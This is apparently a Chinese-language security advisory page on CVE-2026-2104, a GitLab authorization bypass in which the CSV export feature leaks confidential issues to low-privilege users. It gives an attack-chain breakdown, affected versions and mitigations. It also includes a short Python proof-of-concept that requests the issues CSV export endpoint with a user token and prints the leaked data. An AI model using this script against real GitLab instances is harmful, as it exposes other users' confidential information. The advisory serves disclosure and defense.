IPBUF安全漏洞报告
English
CVE-2026-2104 CVSS 4.3 中危

CVE-2026-2104 GitLab权限绕过致敏感信息泄露

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-2104
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

权限绕过敏感信息泄露GitLabCWE-284CWE-862

漏洞概述

GitLab CE/EE存在权限绕过漏洞。由于CSV导出功能中授权检查不充分,经过身份验证的低权限用户可通过导出功能访问分配给其他用户的机密议题,导致敏感信息泄露。

技术细节

该漏洞的核心在于GitLab后端在处理议题(Issues)的CSV导出请求时,未能正确验证当前用户是否有权访问目标议题的详细内容。尽管前端界面限制了机密议题的可见性,但导出接口直接从数据库查询数据并生成CSV响应,绕过了这些检查。攻击者需拥有一个合法的GitLab账户,通过发送特定的HTTP GET请求至导出端点,即可获取包含他人私密议题数据的CSV文件,从而造成机密性影响。

攻击链分析

STEP 1
侦察
攻击者识别目标GitLab实例及其项目ID。
STEP 2
获取凭证
攻击者注册或获取一个低权限的GitLab账户凭证。
STEP 3
利用漏洞
攻击者使用该账户发送请求至CSV导出API接口,试图获取项目议题数据。
STEP 4
数据窃取
服务器返回包含机密议题的CSV文件,攻击者解析并获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "https://your-gitlab-instance.com" token = "YOUR_PRIVATE_TOKEN" project_id = "123" # Headers for authentication headers = { "PRIVATE-TOKEN": token } # The vulnerable endpoint for exporting issues as CSV # Vulnerability allows accessing confidential issues assigned to others url = f"{target_url}/api/v4/projects/{project_id}/issues.csv" try: response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] Exploit successful! CSV data received.") print("[+] Data preview:") print(response.text[:500]) # Print first 500 chars else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

GitLab 18.2 至 18.8.9 之前版本
GitLab 18.9 至 18.9.5 之前版本
GitLab 18.10 至 18.10.3 之前版本

防御指南

临时缓解措施
如果无法立即升级,管理员应暂时禁用CSV导出功能或通过网络设备限制对导出端点的访问,并加强对用户权限的审计,确保未授权用户无法接触到敏感项目。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表